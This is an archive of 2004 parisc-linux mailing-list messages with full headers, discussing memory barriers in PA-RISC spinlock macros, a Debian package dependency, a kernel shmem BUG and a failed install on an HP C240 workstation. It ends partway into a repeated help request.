List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sun, 25 Jan 2004 17:12:06 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20691


John David Anglin <dave@hiauly1.hia.nrc.ca> schrieb am 25.01.2004,
07:13:10:
> >  Anyway, gcc doesn't seem to be that smart:
> 
> Right, it not that smart but it does optimize certain memory references.
> 
> > The key bit is __ldcw() in asm/system.h:
> > 
> > /* LDCW, the only atomic read-write operation PA-RISC has. *sigh*.  */
> > #define __ldcw(a) ({ \
> >         unsigned __ret; \
> >         __asm__ __volatile__("ldcw 0(%1),%0" : "=r" (__ret) : "r" (a)); \
> >         __ret; \
> > })
> 
> In some version of pthreads, we used
> 
> #define __ldcw(a) ({ \
>   unsigned int __ret;                                                   \
>   __asm__ __volatile__("ldcw 0(%2),%0"                                  \
> 		      : "=r" (__ret), "=m" (*(a)) : "r" (a));           \
>   __ret;                                                                \
> })
> 
> This tells gcc explicitly what memory is affected by the asm.  However,
> it doesn't provide a memory barrier.  I think this isn't necessary in
> pthreads because it provides a separate macro define for this.

I suppose the memory operand specification is required here. Newer 
compilers (especially gcc-3.4) can optimize away local variables if you 
only access the address but not the contents. I think even your 
pthreads version is not really correct, because it specifies (*(a)) as
output only instead of inout.

> #include 
> 
> static spinlock_t lock = SPIN_LOCK_UNLOCKED;
> 
> void test(int *x)
> {
>   if (*x)
>     {
>       spin_lock(&lock);
>       if (!*x)
> 	*x = 0x1234;
>       spin_unlock(&lock);
>     }
> }
> 
> We need the "memory" clobber in SMP.  I think the macro should be:
> 
> #define __ldcw(a) ({ \
>   unsigned int __ret;							 \
>   __asm__ __volatile__("ldcw 0(%2),%0"					 \
> 		      : "=r" (__ret), "=m" (*(a)) : "r" (a) : "memory"); \
>   __ret;								 \
> })

No, putting the barrier into __ldcw is wrong because it would impact all
other uses of __ldcw that don't need the barrier. AFAICS, the 
_raw_spin_lock needs to be changed  to the below. 

#define _raw_spin_lock(x) do { \
        while (__ldcw (&(x)->lock) == 0) \
                while (((x)->lock) == 0) ; \
        barrier(); } while (0)

Since the assembly output of the test program with gcc-3.3 looks good,
this probably did not do any harm so far.

     Arnd <><


From - Thu Nov 08 21:30:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] menu not available
Date: Sun, 25 Jan 2004 22:40:40 +0000
Lines: 20
Approved: news@gmane.org
Message-ID: <20040125224040.GG11844@parcelfarce.linux.theplanet.co.uk>
References: <9FD9A988D765C742A42FE2176979579650D310@postoffice.academic.wpi.edu>
	<20040123221149.GA1310@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623147 4832 80.91.229.3 (22 Nov 2014 02:25:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:25:47 +0000 (UTC)
Cc: "Peralta, Joseph A" <jperalta@WPI.EDU>, parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: willy@www.linux.org.uk  Sun Jan 25 15:40:42 2004
Return-Path: <willy@www.linux.org.uk>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk
	[195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id C720D4879
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 25 Jan 2004 15:40:41 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.22)
	id 1Aksvo-0007BX-6Y; Sun, 25 Jan 2004 22:40:40 +0000
Content-Disposition: inline
In-Reply-To: <20040123221149.GA1310@colo.lackof.org>
User-Agent: Mutt/1.4.1i
Original-Sender: <willy@www.linux.org.uk>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sun, 25 Jan 2004 22:40:42 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20692

On Fri, Jan 23, 2004 at 03:11:49PM -0700, Grant Grundler wrote:
> On Fri, Jan 23, 2004 at 04:47:11PM -0500, Peralta, Joseph A wrote:
> > When I try to install certain X-window managers under Debian 3.0 I get
> > "xxx depends on menu (>> 1.5)... menu is not available" How would I fix
> > this?
> 
> Dunno...menu is available for "sarge" (aka testing) and that
> works for me. Sounds like someone wants to backport to Woody.

menu is not available for woody because it's written in a language which
bears a passing resemblance to C++.  someone rewrote it in C++ for sarge.

-- 
"Next the statesmen will invent cheap lies, putting the blame upon 
the nation that is attacked, and every man will be glad of those
conscience-soothing falsities, and will diligently study them, and refuse
to examine any refutations of them; and thus he will by and by convince 
himself that the war is just, and will thank God for the better sleep 
he enjoys after this process of grotesque self-deception." -- Mark Twain


From - Thu Nov 08 21:30:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Re: [parisc-linux] missing barrier in _raw_spin_lock?
Date: Sun, 25 Jan 2004 19:13:47 -0500 (EST)
Lines: 28
Approved: news@gmane.org
Message-ID: <200401260013.i0Q0Dltk013819@hiauly1.hia.nrc.ca>
References: <26879984$10750505064013f80a9ea842.79929993@config4.schlund.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623148 4834 80.91.229.3 (22 Nov 2014 02:25:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:25:48 +0000 (UTC)
Cc: grundler@parisc-linux.org, arnd@arndb.de, parisc-linux@parisc-linux.org
To: arndb@onlinehome.de
Original-X-From: dave@hiauly1.hia.nrc.ca  Sun Jan 25 17:13:51 2004
Return-Path: <dave@hiauly1.hia.nrc.ca>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 3359D484B; Sun, 25 Jan 2004 17:13:51 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	i0Q0Dmg4013821; Sun, 25 Jan 2004 19:13:48 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id i0Q0Dltk013819;
	Sun, 25 Jan 2004 19:13:47 -0500 (EST)
In-Reply-To: <26879984$10750505064013f80a9ea842.79929993@config4.schlund.de>
	from "arndb@onlinehome.de" at Jan 25, 2004 06:10:01 pm
X-Mailer: ELM [version 2.4 PL25]
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Mon, 26 Jan 2004 00:13:51 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20693

> > #define __ldcw(a) ({ \
> >   unsigned int __ret;                                                   \
> >   __asm__ __volatile__("ldcw 0(%2),%0"                                  \
> > 		      : "=r" (__ret), "=m" (*(a)) : "r" (a));           \
> >   __ret;                                                                \
> > })

> I suppose the memory operand specification is required here. Newer 
> compilers (especially gcc-3.4) can optimize away local variables if you 
> only access the address but not the contents. I think even your 
> pthreads version is not really correct, because it specifies (*(a)) as
> output only instead of inout.

I agree.

> No, putting the barrier into __ldcw is wrong because it would impact all
> other uses of __ldcw that don't need the barrier. AFAICS, the 

The only other uses for __ldcw are the SPIN_LOCK macro in atomic.h
and the _raw_spin_trylock in spinlock.h (i.e., it is only used
acquire locks).  If all these need barriers, then it might as well
be in __ldcw.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)


From - Thu Nov 08 21:30:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] kernel BUG at mm/shmem.c:585!
Date: Sun, 25 Jan 2004 21:15:09 -0500
Lines: 19
Approved: news@gmane.org
Message-ID: <20040126021508.GZ1060@baldric.uwo.ca>
References: <20040123142426.GE4571@baldric.uwo.ca>
	<200401231940.i0NJeSJJ004756@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623148 4836 80.91.229.3 (22 Nov 2014 02:25:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:25:48 +0000 (UTC)
Cc: grundler@parisc-linux.org, parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: carlos@baldric.uwo.ca  Sun Jan 25 19:14:51 2004
Return-Path: <carlos@baldric.uwo.ca>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from fep01-mail.bloor.is.net.cable.rogers.com
	(fep01-mail.bloor.is.net.cable.rogers.com [66.185.86.71])
	by dsl2.external.hp.com (Postfix) with ESMTP id 40A2248AF
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 25 Jan 2004 19:14:51 -0700 (MST)
Original-Received: from systemhalted ([24.43.33.92])
	by fep01-mail.bloor.is.net.cable.rogers.com
	(InterMail vM.5.01.05.12 201-253-122-126-112-20020820) with ESMTP id
	<20040126021208.FXTD286904.fep01-mail.bloor.is.net.cable.rogers.com@systemhalted>;
	Sun, 25 Jan 2004 21:12:08 -0500
Content-Disposition: inline
In-Reply-To: <200401231940.i0NJeSJJ004756@hiauly1.hia.nrc.ca>
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (63% Sync Ratio [======....])
User-Agent: Mutt/1.5.5.1+cvs20040105i
X-Authentication-Info: Submitted using SMTP AUTH LOGIN at
	fep01-mail.bloor.is.net.cable.rogers.com from [24.43.33.92]
	using ID <patofiero@rogers.com> at Sun,
	25 Jan 2004 21:12:08 -0500
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Mon, 26 Jan 2004 02:14:51 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20694

On Fri, Jan 23, 2004 at 02:40:27PM -0500, John David Anglin wrote:
> > It appears non-fatal, and I want to blame the compiler :)
> 
> I agree but the proof is in the pudding ;-)

I told Grant, that at my current schedule, it would be 2006 
before I fixed this problem :)

It looks like a reordering issue, perhaps taking a look at the
respective .o objects produced by the two compilers might reveal the
issue. I think that's the way we did it when the tty layer broke and we
had to have that console.o compiled with 3.0.4 by hand? I think Randolph
and Grant worked on that together. I might have the wrong names, but
we've successfully debugged a problem like this before using similar
methods.

c.



From - Thu Nov 08 21:30:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] kernel BUG at mm/shmem.c:585!
Date: Sun, 25 Jan 2004 21:35:07 -0500 (EST)
Lines: 20
Approved: news@gmane.org
Message-ID: <200401260235.i0Q2Z783024373@hiauly1.hia.nrc.ca>
References: <20040126021508.GZ1060@baldric.uwo.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623148 4837 80.91.229.3 (22 Nov 2014 02:25:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:25:48 +0000 (UTC)
Cc: grundler@parisc-linux.org, parisc-linux@lists.parisc-linux.org
To: carlos@baldric.uwo.ca (Carlos O'Donell)
Original-X-From: dave@hiauly1.hia.nrc.ca  Sun Jan 25 19:35:11 2004
Return-Path: <dave@hiauly1.hia.nrc.ca>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8C3A0484B
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 25 Jan 2004 19:35:11 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	i0Q2Z8g4024374; Sun, 25 Jan 2004 21:35:09 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id i0Q2Z783024373;
	Sun, 25 Jan 2004 21:35:07 -0500 (EST)
In-Reply-To: <20040126021508.GZ1060@baldric.uwo.ca> from "Carlos O'Donell" at
	Jan 25, 2004 09:15:09 pm
X-Mailer: ELM [version 2.4 PL25]
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Mon, 26 Jan 2004 02:35:12 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20695

> On Fri, Jan 23, 2004 at 02:40:27PM -0500, John David Anglin wrote:
> > > It appears non-fatal, and I want to blame the compiler :)
> > 
> > I agree but the proof is in the pudding ;-)
> 
> I told Grant, that at my current schedule, it would be 2006 
> before I fixed this problem :)

My schedule isn't much better.  I'm off to Tokyo at the end of the week
to waive the Canadian flag at the ISO LRG meetin next week.  After that,
my brother's company would like me to work on more firmware for a new
project.

Is this on a SMP kernel (i.e., could this be a locking issue)?

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)


From - Thu Nov 08 21:30:45 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Reinhold Flecke CCF" <reinhold.flecke@ccf-consulting.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] installation failed on C240 (fx4) workstation
Date: Mon, 26 Jan 2004 11:54:13 +0100
Lines: 79
Approved: news@gmane.org
Message-ID: <LBEMKLBEFDGDOGGAOGIKAEJPCCAA.reinhold.flecke@ccf-consulting.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
	boundary="----=_NextPart_000_000E_01C3E403.1E259480"
X-Trace: ger.gmane.org 1416623149 4839 80.91.229.3 (22 Nov 2014 02:25:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:25:49 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: reinhold.flecke@ccf-consulting.de  Mon Jan 26 03:54:15 2004
Return-Path: <reinhold.flecke@ccf-consulting.de>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from moutng.kundenserver.de (moutng.kundenserver.de
	[212.227.126.183])
	by dsl2.external.hp.com (Postfix) with ESMTP id 141EE484B
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 26 Jan 2004 03:54:15 -0700 (MST)
Original-Received: from [212.227.126.161] (helo=mrelayng.kundenserver.de)
	by moutng.kundenserver.de with esmtp (Exim 3.35 #1)
	id 1Al4Ni-00021v-00
	for parisc-linux@lists.parisc-linux.org; Mon, 26 Jan 2004 11:54:14 +0100
Original-Received: from [217.238.36.109] (helo=FLAMD1200)
	by mrelayng.kundenserver.de with asmtp (Exim 3.35 #1)
	id 1Al4Ni-0000JJ-00
	for parisc-linux@lists.parisc-linux.org; Mon, 26 Jan 2004 11:54:14 +0100
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0)
X-MS-TNEF-Correlator: <LBEMKLBEFDGDOGGAOGIKAEJPCCAA.reinhold.flecke@ccf-consulting.de>
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2727.1300
X-Provags-ID: kundenserver.de abuse@kundenserver.de
	auth:b9fc3aec0c509e05b372599b29a423a9
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Mon, 26 Jan 2004 10:54:15 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20696

This is a multi-part message in MIME format.

------=_NextPart_000_000E_01C3E403.1E259480
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit

I downloaded the "debian-30r2-hppa-binary-1.iso" and burned it to CD. 
If I start the installation on my C240 (fx4) workstation  with the command:
bo sescsi.2.0

it seems everything ok, until I get the message:
...If this is the last message you see, you may need to switch your console.
  This is a common sympton sarch the FAQ and mailing list at
parisc-linux.org

After this nothing happens anymore.
I searched the FAQ and mailing list but I could not find a solution.
Anyone who can help?

Thanks in advance.

Best Regards
Reinhold Flecke


Reinhold Flecke CCF
Fon:	+49 (0)5292 930601 (Office)
	+49 (0)700 93000093 (PR)
eMail:	<mailto:Reinhold.Flecke@ccf-consulting.de>


------=_NextPart_000_000E_01C3E403.1E259480
Content-Type: application/ms-tnef;
	name="winmail.dat"
Content-Transfer-Encoding: base64
Content-Disposition: attachment;
	filename="winmail.dat"

eJ8+Ig0KAQaQCAAEAAAAAAABAAEAAQeQBgAIAAAA5AQAAAAAAADoAAEIgAcAGAAAAElQTS5NaWNy
b3NvZnQgTWFpbC5Ob3RlADEIAQ2ABAACAAAAAgACAAEGgAMADgAAANQHAQAaAAsANAAAAAEANgEB
A5AGAFwHAAAiAAAACwACAAEAAAALACMAAAAAAAMAJgAAAAAACwApAAAAAAADADYAAAAAAB4AcAAB
AAAAMAAAAGluc3RhbGxhdGlvbiBmYWlsZWQgb24gQzI0MCAoZng0KSB3b3Jrc3RhdGlvbiAgAAIB
cQABAAAAFgAAAAHD4/p9LdhIwiBaO0Q6liYGpGkgsYQAAAIBHQwBAAAAJwAAAFNNVFA6UkVJTkhP
TEQuRkxFQ0tFQENDRi1DT05TVUxUSU5HLkRFAAALAAEOAAAAAEAABg4ACJxs+uPDAQIBCg4BAAAA
GAAAAAAAAADTqLlCCzCxTKsUgMtfIu26woAAAAsAHw4BAAAAAgEJEAEAAAApAwAAJQMAAH4EAABM
WkZ1r+I5RQMACgByY3BnMTI1FjIA+Atgbg4QMDMxjwH3AqQDYwIAcHJxDlAIZmNoCsBzZXQw/iAH
bQKDAFAD1BDPBxMCgzcRERNFFB59CoAIyCA71QlvMBfPZQ4wNQKACoGSdgiQd2sLgGQ0DGBOYwBQ
CwMLtSBJEvEgoCBkb3duCQBhAQCAZCB0aGUgIgEAAmIHMG4tMzByMqgtaHAKsC0dwG4KwBB5LTEu
BABvIiCrAHAdMGIIcG4dIWkFQMB0byBDRC4K4wqA5ElmHDAgcwGQACAdQ0sLgCGRbAtgdGkCICBJ
ItFteSCQMjQRsChAZng0KSB3BbBrbyGRIrMkACBAaB1DBaBteQOBZDog5AbgIYAHkGPxAJAuMi4B
QCDzIOQgQUkRgGVtBCBldgSQeQsdUAuAZyLwaywgdXcCMAMRIXBnEZAdQweBc/ZhKeAl5S4rQCFB
KMEEIJ8rwR1SC2AhkCpWIHkIYP8oAilALTIAwCNAIAAdIiZhfyThEUAtIgXABaAAgAbwZdYuIOQc
gFQrtWElYyLRfnMGwAUwMWIKwC8BHVJG/EFRH4MAwAMQKOIzYCyBTSKgIAqxBABjLTNhdaR4LgWw
Z1wzYWUg5M5BAYAEkCuUbm8oxBFQ9x5wCfAw4W4GwAWwL+Yhcf5lMiIdJTK/M8If0AVAIXCZBaB1
bB0wNpEgZhrh/zDxL7E6wCLBL/A1QhSQN6DTAiAdcHdoIIBjA5EdYPhscD81NDzDMIAAcCRA0yIh
H4BkdgBwYy/mNTfHCzA2kAPwZGN0PiAKwBsI0BxhQgeQBUBSZWd/CxETgCDzQoALgD2QO0FG+S/Q
Y2s1dSclOzBC/0QC+SCQQ0ZB4Q5QOzA2kDVh6QPQMTYg5EYCICXgDJJBDwU2ICs0OSOgMEIpDkA5
MiA5HhA2MjAccChPASAN4GUpzyclDLEBoEk2NzARsEoBp0yRSgAjoFBSSuBiJxWcZU0zQUhUOzAg
PDMylSBwOkNWLkPkQGNB8F4tL4I7MCKwDyAuAQA+/0HhAUAPBkcHFUIMASc3CzAvQfES8iDzFuEA
VNAAAAALAAGACCAGAAAAAADAAAAAAAAARgAAAAADhQAAAAAAAAMAA4AIIAYAAAAAAMAAAAAAAABG
AAAAABCFAAAAAAAAAwAHgAggBgAAAAAAwAAAAAAAAEYAAAAAUoUAAH1uAQAeAAmACCAGAAAAAADA
AAAAAAAARgAAAABUhQAAAQAAAAQAAAA5LjAACwANgAggBgAAAAAAwAAAAAAAAEYAAAAAgoUAAAEA
AAALADqACCAGAAAAAADAAAAAAAAARgAAAAAOhQAAAAAAAAMAPIAIIAYAAAAAAMAAAAAAAABGAAAA
ABGFAAAAAAAAAwA9gAggBgAAAAAAwAAAAAAAAEYAAAAAGIUAAAAAAAALAFKACCAGAAAAAADAAAAA
AAAARgAAAAAGhQAAAAAAAAMAU4AIIAYAAAAAAMAAAAAAAABGAAAAAAGFAAAAAAAAAgH4DwEAAAAQ
AAAA06i5QgswsUyrFIDLXyLtugIB+g8BAAAAEAAAANOouUILMLFMqxSAy18i7boCAfsPAQAAAKIA
AAAAAAAAOKG7EAXlEBqhuwgAKypWwgAAUFNUUFJYLkRMTAAAAAAAAAAATklUQfm/uAEAqgA32W4A
AABDOlxEb2t1bWVudGUgdW5kIEVpbnN0ZWxsdW5nZW5cZmxlY2tlXExva2FsZSBFaW5zdGVsbHVu
Z2VuXEFud2VuZHVuZ3NkYXRlblxNaWNyb3NvZnRcT3V0bG9va1xvdXRsb29rLnBzdAAAAAMA/g8F
AAAAAwANNP03AAACAX8AAQAAAEEAAAA8TEJFTUtMQkVGREdET0dHQU9HSUtBRUpQQ0NBQS5yZWlu
aG9sZC5mbGVja2VAY2NmLWNvbnN1bHRpbmcuZGU+AAAAAAMABhCHDmcBAwAHEB8CAAADABAQAAAA
AAMAERABAAAAHgAIEAEAAABlAAAASURPV05MT0FERURUSEUiREVCSUFOLTMwUjItSFBQQS1CSU5B
UlktMUlTTyJBTkRCVVJORURJVFRPQ0RJRklTVEFSVFRIRUlOU1RBTExBVElPTk9OTVlDMjQwKEZY
NClXT1JLUwAAAACkzg==

------=_NextPart_000_000E_01C3E403.1E259480--



From - Thu Nov 08 21:30:45 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Reinhold Flecke CCF" <reinhold.flecke@ccf-consulting.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] help installation failed on C240 (fx4) workstation
Date: Mon, 26 Jan 2004 12:13:22 +0100
Lines: 83
Approved: news@gmane.org
Message-ID: <LBEMKLBEFDGDOGGAOGIKOEJPCCAA.reinhold.flecke@ccf-consulting.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
	boundary="----=_NextPart_000_0011_01C3E405.CAB42980"
X-Trace: ger.gmane.org 1416623149 4842 80.91.229.3 (22 Nov 2014 02:25:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:25:49 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: reinhold.flecke@ccf-consulting.de  Mon Jan 26 04:13:23 2004
Return-Path: <reinhold.flecke@ccf-consulting.de>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from moutng.kundenserver.de (moutng.kundenserver.de
	[212.227.126.176])
	by dsl2.external.hp.com (Postfix) with ESMTP id 68C11484B
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 26 Jan 2004 04:13:23 -0700 (MST)
Original-Received: from [212.227.126.208] (helo=mrelayng.kundenserver.de)
	by moutng.kundenserver.de with esmtp (Exim 3.35 #1)
	id 1Al4gE-0003E2-00
	for parisc-linux@lists.parisc-linux.org; Mon, 26 Jan 2004 12:13:22 +0100
Original-Received: from [217.238.36.109] (helo=FLAMD1200)
	by mrelayng.kundenserver.de with asmtp (Exim 3.35 #1)
	id 1Al4gE-0005rK-00
	for parisc-linux@lists.parisc-linux.org; Mon, 26 Jan 2004 12:13:22 +0100
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0)
X-MS-TNEF-Correlator: <LBEMKLBEFDGDOGGAOGIKOEJPCCAA.reinhold.flecke@ccf-consulting.de>
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2727.1300
X-Provags-ID: kundenserver.de abuse@kundenserver.de
	auth:b9fc3aec0c509e05b372599b29a423a9
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Mon, 26 Jan 2004 11:13:24 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20697

This is a multi-part message in MIME format.

------=_NextPart_000_0011_01C3E405.CAB42980
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit

